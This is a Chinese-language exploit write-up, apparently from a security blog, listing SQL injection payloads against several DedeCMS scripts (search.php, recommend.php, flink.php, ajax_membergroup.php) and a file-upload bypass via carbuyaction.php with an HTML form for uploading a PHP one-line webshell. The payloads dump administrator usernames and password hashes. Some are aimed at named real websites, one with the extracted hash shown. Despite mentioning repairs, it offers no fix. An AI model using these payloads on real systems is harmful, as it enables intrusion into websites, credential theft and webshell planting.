爆路径：data/mysql_error_trace.inc一、dedecms plus/search.php注入漏洞修复及利用0×1:http://www.nxadmin.com/plus/sear
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爆路径：data/mysql_error_trace.inc
一、dedecms plus/search.php注入漏洞修复及利用
0×1:
http://www.nxadmin.com/plus/search.php?keyword=as&typeArr[ uNion ]=a
报错如果为：Safe Alert: Request Error step 2 !
则利用以下exp:
http://www.nxadmin.com/plus/search.php?keyword=as&typeArr[111%3D@`/'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`/'`+]=a
0×2:
http://www.nxadmin.com/plus/search.php?keyword=as&typeArr[ uNion ]=a
报错如果为：Safe Alert: Request Error step 1 !
则利用以下exp:
http://www.nxadmin.com/plus/search.php?keyword=as&typeArr[111%3D@`/'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`/'`+]=a
二、DedeCms recommend.php注入
exp：
http://0day5.com/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=//%27%20or%20mid=@`//%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`//%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294
三、flink.php注入
0x1:首先通过flink_add.php查看验证码
0x2:利用火狐的hackbar发送post数据包
exp:
查版本：
Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=验证码&_FILES[webname][name]=1.gif&_FILES[webname][type]=p_w_picpath/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass/
查密码：
Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=验证码&_FILES[webname][name]=1.gif&_FILES[webname][type]=p_w_picpath/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass/
详情请见
http://www.wooyun.org/bugs/wooyun-2014-051950
四、ajax_membergroup.php注入漏洞
①注入漏洞。
这站 http://www.30tianlong.com/
首先访问“/data/admin/ver.txt”页面获取系统最后升级时间，
然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如图说明存在该漏洞。
然后写上语句
查看管理员帐号
http://www.30tianlong.com//member/ajax_membergroup.php?action=post&membergroup=@`'`%20Union%20select%20userid%20from%20`%23@__admin`%20where%201%20or%20id=@`'`
admin
查看管理员密码
http://www.30tianlong.com//member/ajax_membergroup.php?action=post&membergroup=@`'`%20Union%20select%20pwd%20from%20`%23@__admin`%20where%201%20or%20id=@
8d29b1ef9f8c5a5af429
查看管理员密码
得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD5
8d2
9b1ef9f8c5a5af42
9
cmd5没解出来 只好测试第二个方法
②上传漏洞：
只要登陆会员中心，然后访问页面链接
http://www.xxxx.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[/code]=../dialog/select_soft_post
如图，说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”
于是将Php一句话***扩展名改为“rar”等，利用提交页面upload1.htm
<form action="http://www.xxxx.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs1=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1">file:<input name="uploadfile" type="file" /><br>newname:<input name="newname" type="text" value="simple.Php"/><button class="button2" type="submit">提交</button><br><br>
即可上传成功
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